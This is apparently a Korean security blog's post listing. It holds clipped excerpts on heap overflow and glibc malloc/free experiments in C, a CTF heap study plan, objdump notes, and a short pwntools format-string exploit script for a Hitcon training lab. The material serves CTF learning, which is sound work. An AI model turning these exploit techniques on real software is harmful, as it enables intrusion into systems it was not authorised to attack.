이번에는 간단한 heap overflow에 대해서 글을 써볼려고 한다. heap overflow는 stack overflow와 같이 입력을 과다하게 해 넘치게 하는 것 이다. 다만 다른 점은, heap chunk에는 다양한 값들이 data와 함께 들어가기 때문에 overflow 할 시 조금 더 생각을 해줘야 한다. 다음은 내가 짠 코드이다. >> heapover.c 123456789101112131415161718#include #include #include #include int main(){ char *a = malloc(10); char *b = malloc(10); printf("%p\n", a); printf("%p\n", b); strcpy(b, "secret!"); read(0, a, 10..
how2heap이랑 https://heap-exploitation.dhavalkapil.com 힙 공부 빡세게 할 것 이다. ctf문제 많이 풀어볼 것이다. 힙 문제 풀것 들 1. Hitcon training heap exploit problem.2. 2015 Hack.Iu bookstore - uaf3. 2014 Codegate weird snus - uaf4. 2016 Asis CTF books - off-by-one5. 2016 BCTF Bcloud, 2016 BKP Cookbook. - House of Forece6. 2016 ASIS feap, 2016 Secuinside 2016 Manager - House of force7. 2016 Blaze CTF demail - Use bins
>> heap2.c #include int main(){ char *a;char *b;char *c; a = malloc(300);b = malloc(250);printf("%p\n", a);printf("%p\n", b);free(a);c = malloc(250); printf("%p\n", c); return 0;} a를 300만큼 malloc 해주고 b를 250 malloc 해준다. free(a)를 해주고 c를 250만큼 malloc 해주면 a 위치였던 곳에 할당이 된다. 300 -250 = 50 만큼은 리스트에 남아있게 된다. 사이즈가 같은면 똑같이 재할당 해준다. 단, 20바이트 이하는 따로 핸들링이 된다.(fastbin)그래서 위 내용과 해당하지 않는다.
malloc 과 free를 잘 알아보기 위해 코드를 짜봤다.>>heap.c #include int main(){char *a;char *b;char *c;char *d;char *e; a = malloc(20);b = malloc(20);c = malloc(20); printf("%p\n", a);printf("%p\n", b);printf("%p\n", c); free(a);free(b); d = malloc(20);e = malloc(20); printf("%p\n", d);printf("%p\n", e);return 0;} a, b, c를 할당해준다. 그러면 a | b | c 이렇게 쌓이겠다. 그런다음 a와 b를 free 한 다음 d와 e를 malloc해주면 e | d | c first fit 알고..
pwntools에 fmtstr_payload라는게 있다. 코드를 보면서 이해해보자. Hitcon training lab7이다. from pwn import * s = process("./crack") password = 0x0804a048 #password 라는 전역변수의 주소를 알아옴fm_len = 10 # fsb에서 offset s.recvuntil("? ")payload = fmtstr_payload(fm_len, {password:100}) # fm_len(10)위치의 오프셋에서 {address:value} 이렇게 값을 지정하면 쓰르륵.s.sendline(payload)s.recvuntil(":")s.sendline('100')s.interactive() #######################..
objdump -f [파일이름] ./betting: file format elf64-x86-64architecture: i386:x86-64, flags 0x00000112:EXEC_P, HAS_SYMS, D_PAGEDstart address 0x0000000000400800 아키텍쳐와 시작 주소등을 알려줌. objdump -d 파일이름 디스어셈블 해줌 원하는 함수를 보려면 grep하면 됌 objdump -D 파일이름 모든 것을 디스어셈블 함. disasm all objdump -h 파일이름 head를 보여줌 각 부분(.text,.bss) 등의 주소를 보여줌 nm 파일이름 대충 심볼 뭐 있는지 알 수 있음.
- overflow
- srop
- 본선가고싶다
- SQLi
- heap
- pwnable
- tcache
- fastbindup
- pwnable.tw
- ebp change
- 해킹
- shellcoding
- stack reusing
- exit
- rt_sigreturn
- fastbin
- FSB
- hacking
- TLS
- fsop
- pwable
- glibc
- oob
- HackCTF
- codegate
- Total
- Today
- Yesterday